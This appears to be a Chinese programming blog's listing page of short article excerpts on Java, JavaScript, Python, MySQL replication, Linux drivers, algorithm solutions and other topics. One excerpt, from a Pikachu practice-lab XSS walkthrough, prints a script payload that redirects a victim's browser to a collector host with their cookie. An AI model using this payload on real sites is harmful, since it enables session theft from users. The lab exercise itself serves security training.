2.17Java专项测试复盘

下面哪个Set类是排序的? A. LinkedHashSet B. TreeSet C. HashSet D. AbstractSet 解析: LinkedHashSet 继承于HashSet、又基于 LinkedHashMap 来实现 TreeSet 使用二叉树的原理对新 add()的对象按照指定的顺序排序(升序、降序),每增加一个对象都会进行排序,将对象插入的二叉树指定的位置。 HashSet 存储元素的顺序并不是按照存入时的顺序(和 List 显然不同) 而是按照哈希值来存的所以取数据也
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

javascript关于异步执行不按顺序解决方案

参考:《你不知道的JavaScript中卷》异步1.4节 案例分析: 比如执行懒加载时候,onscroll 事件触发多次事件时候会调用多次 ajax 回调事件,由于每个事件返回先后次序并不能保证和触发前一致,所以在数据响应返回后所添加的数据顺序就很在 push 到数组上顺序不一致。 例子1: var res = []; function response(data) { res.push( data ); } // ajax(..)是某个库中提供的某个Ajax函数
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

详解python的字符编码问题

一:什么是编码   将明文转换为计算机可以识别的编码文本称为“编码”。反之从计算机可识别的编码文本转回为明文为“解码”。   那么什么是明文呢,首先我们从一段信息说起,消息以人们可以理解,易懂的表示存在,我们把这个表示为明文(plain text)。对于说英文的人,纸张上打印的或者屏幕上显示的英文都算是明文。 二:都有什么编码格式? 1:ASCII(占一个字符,只支持英文)   计算机上的数据都是以二进制的形式存储的,1个字节(8比特)可以表示256种状态,英文只有26个字符,再加上一些特殊的
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

买电脑,选配CPU最关键,定位一台电脑的性能档位(任务7选配CPU)

买电脑,选配CPU最关键,定位一台电脑的性能档位 很多人在选配电脑的时候,很是做了些功课,本文今天就谈CPU!买电脑,选配CPU最关键,定位一台电脑的性能档位! 我们用图说话!分析一下,选配CPU前,都要弄清那些常识。 先看,第一张图!这是商家给出的一道多项选择题,我们可以更容易的选择到自己需要的CPU! 第二张图!这是对一款IntelCPU产品的性能参数图!CPU的性能一目了然。 第三张图!这是对一款AMDCPU产品的性能参数图!CPU的性能一目了然。 解释:没有比较两款CPU的意思。 1、
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

Python 读写Excel文件 总结

Python 读写Excel文件 总结 最近接连帮同学处理Excel表格,他们的出发点就是,数据项太多导致手动处理工作量太大了,寻求能不能用软件自动化处理的办法。其实利用Python编写十行左右代码就能解决相应的重复简单的工作,由于我总是记不清相关库,在这里详细总结各种库和函数接口以方便自己查阅和帮助大家高效完成工作。 Excel是什么 我们常用的Excel是由微软开发的电子表格办公软件,其所创建的文件显示为一系列行与列组成的网格。 Excel文件的后缀名通常有以下几种形式: xlsx Exc
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

drm 驱动是如何创建 fb device 的【转】

转自:https://blog.csdn.net/jingxia2008/article/details/48804859 drm 驱动是如何创建 fb device 的 drm 驱动是如何创建 fb device 的 什么是 drm 如何使用 drm 接口 libdrm fb device 本文讨论的问题是 drm 驱动是如何虚拟 drm crts 为 fb device 设备驱动创建 fbdev 完成 fb 设备的创建 流程图 什么是 drm? drm 是一个 Linux 内核的显示系统驱
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

题解【AcWing902】最短编辑距离

题面 经典的最长公共子序列模型。 我们设 \(dp_{i,j}\) 表示 \(a_{1...i}\) 与 \(b_{1...j}\) 匹配上所需的最少操作数。 考虑删除操作,我们将 \(a_i\) 删除后 \(a_{1...i}\) 就与 \(b_{1...j}\) 匹配上了,说明原来 \(a_{1...i-1}\) 与 \(b_{1...j}\) 就是匹配上的,转移方程就是 \(dp_{i,j}=dp_{i-1,j}+1\)。 插入操作与删除操作同理,转移方程是 \(dp_{i,j}=dp_
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

pikachu--XSS(案例一:cookie的窃取和利用)

xss案例 cookie的窃取和利用 钓鱼攻击 Xss获取键盘记录 在进行案例之前首先要搭建xss后台 搭建xss后台 1.在pikachu文件夹下面,把pkxss单独放在www下面 2.修改配置文件 数据库服务器地址,账号,密码. 3.登录 4.安装 5.修改 重定向到一个可信的网站 案例一: get型xss cookie值获取 修改输入长度 输入框输入 <script>document.location='http://192.168.27.156/pkxss/xcookie/cookie
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

论文阅读 | ACL2019 Exploring Pre-trained Language Models for Event Extraction and Generation

一、摘要 研究目的是解决在事件抽取任务中手动标注训练数据的费时费力以及训练数据不足的问题。首先提出了一个事件抽取模型,通过分离有关角色(roles)的参数预测来客服角色重叠的问题。此外,针对训练数据不足的问题,提出了一种通过编辑原型(prototypes)来自动生成标注好的数据,通过对质量进行排序来筛选生成的样本的方法。 二、背景 角色重叠问题(the roles overlap problem):一个论元(arguement)可以在一句话中扮演不同的角色。例如,"The explosion
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

MySQL复制(四)—多源(主)复制

(一)多主复制概述 所谓多主复制,是将多个主库的数据复制到一个从库中。通常用于数据仓库整合数据,比如OLTP系统为了分散业务压力,对业务进行分库分表,当要对数据进行分析的时候,可以使用多主复制将数据整合到同一个数据库实例上,便于统一分析。MySQL从5.7版本开始支持多主复制。 本文通过搭建多主复制环境来了解MySQL多主复制的特点。 (二)基础环境 主库1 主库2 从库 服务器IP地址 192.168.10.11 192.168.10.12 192.168.10.13 MySQL版本 5.7
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

六 memory&chosen节点【转】

转自:https://www.cnblogs.com/god-of-death/p/10271002.html 根节点那一节我们说过,最简单的设备树也必须包含cpus节点和memory节点。memory节点用来描述硬件内存布局的。如果有多块内存,既可以通过多个memory节点表示,也可以通过一个memory节点的reg属性的多个元素支持。举一个例子,假如某个64位的系统有两块内存,分别是 • RAM: 起始地址 0x0, 长度 0x80000000 (2GB) • RAM: 起始地址 0x10
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

分析配置DispatcherServlet类时load-on-startup标签作用

<servlet> <servlet-name>DispatcherServlet</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value>classpath:
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

连载《一个程序猿的生命周期》-《发展篇》- 32.疫情中复工,跌宕起伏的2019,发展元年的2020

始料未及的长假,在悲喜交织中度过,奋斗一年的休整、安心的陪伴家人、实时关注的疫情。当自己真正成为生活的支点,慢慢的意识到这种状态不能够持久、也不能再持续下去了。但是,当我们想复工的时候却是困难重重,乡亲不让出去、交通出不去、住处进不去,在想尽办法的时候,有公司却宣布倒闭了、裁员了,就发生在身边的事。从春节假期回家乡到复工,可以拍部电影《步步囧途记》。 2019年让我想起来10年前的2009年,针对那一年写了一篇文章《本命年,在项目中忍受病魔》。2019年初,在深冬,为项目奔波于南方和北方,不小
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

thymeleaf 双重th:each展示订单-商品信息(笔记)

<div class="cart_content" th:each="oIdList:${orderIdList}"> <table> <tr class="table_head"> <th>订单号</th> <th colspan="3">商品</th> <th>商品金额</th> <th>商品数量</th>
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

题解【AcWing883】高斯消元解线性方程组

题面 高斯消元模板题。 这里直接讲述一下高斯消元的算法流程: 枚举每一列 \(c\); 找到第 \(c\) 列绝对值最大的一行; 将这一行换到最上面; 将该行的第一个数变成 \(1\); 将下面所有行的第 \(c\) 列变成 \(0\)。 处理完后需要从最后一行往回迭代,求出每一个未知数的值。 #include <bits/stdc++.h> using namespace std; const double eps = 1e-6; //浮点数误差 int n, m; double a[
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

vim宏录制的操作

1:在vim编辑器normal模式下输入qa(其中a为vim的寄存器) 2:此时在按i进入插入模式,vim编辑器下方则会出现正在录制字样,此时便可以开始操作。 3:需要录制的操作完成后,在normal模式下按q则会退出录制,则此时一个宏录制的完整操作则完成 4:在normal模式下按@a则会重复宏录制中的操作
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

ES6 - 基础学习(2): 新的变量声明方式 let 与 const

ES6)新增加了两个重要的 JavaScript 关键字:let 和 const。以前声明变量时只有一种方式:var,ES6对声明方式进行了扩展,现在可以有三种声明方式了。   1、var:variable的简写,字面意思就是变量。   2、let:let的意思(vt. 允许,让;出租;假设;妨碍;vi. 出租;被承包;n. 障碍;出租屋) 我理解为出租屋、临时的意思。一种临时变量声明方式,既然是临时变量,则该变量的定义、激活以及作用区域也就只在 let 命令所在的代码块内有效。   3、co
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

2月6日 《人月神话》

今天所读的《人月神话》令我有所思考。 概念完整性是系统设计首要考虑的内容,为了反映一系列连贯的设计思路,宁可省略一些不规则的特性和改进,也不提倡独立和无法整合的系统,哪怕它们其实包含着许多很好的设计。所以我觉得概念完整性的设计要由少部分人来完成,不能依靠量变,而这一少部分人也是要求有同样思路的一批人。但实际的进度压力可以依靠大部分人的努力来完成。但其核心还是那一小部分人的提出和修筑。
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

【剑指Offer】面试题11. 旋转数组的最小数字

题目 把一个数组最开始的若干个元素搬到数组的末尾,我们称之为数组的旋转。输入一个递增排序的数组的一个旋转,输出旋转数组的最小元素。例如,数组 [3,4,5,1,2] 为 [1,2,3,4,5] 的一个旋转,该数组的最小值为1。 示例 1: 输入:[3,4,5,1,2] 输出:1 示例 2: 输入:[2,2,2,0,1] 输出:0 思路一:暴力 代码 时间复杂度:O(n) 空间复杂度:O(1) class Solution { public: int minArray(vector<in
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0

CBV vs FBV

一、路由绑定 FBV路由绑定 urlpatterns = [ # 1)项目启动,将test函数地址绑定给/test/路由 # 2)请求/test/访问后台,后台就会调用绑定的test函数 url(r'^test/$', views.test), CBV路由绑定 urlpatterns = [ # 1)项目启动,将as_view()函数执行结果返回的view函数地址绑定给/test/路由 # 2)请求/test/访问后台,后台就会调用绑定的view函数
分类: 其他 发布时间: 02-17 22:34 阅读次数: 0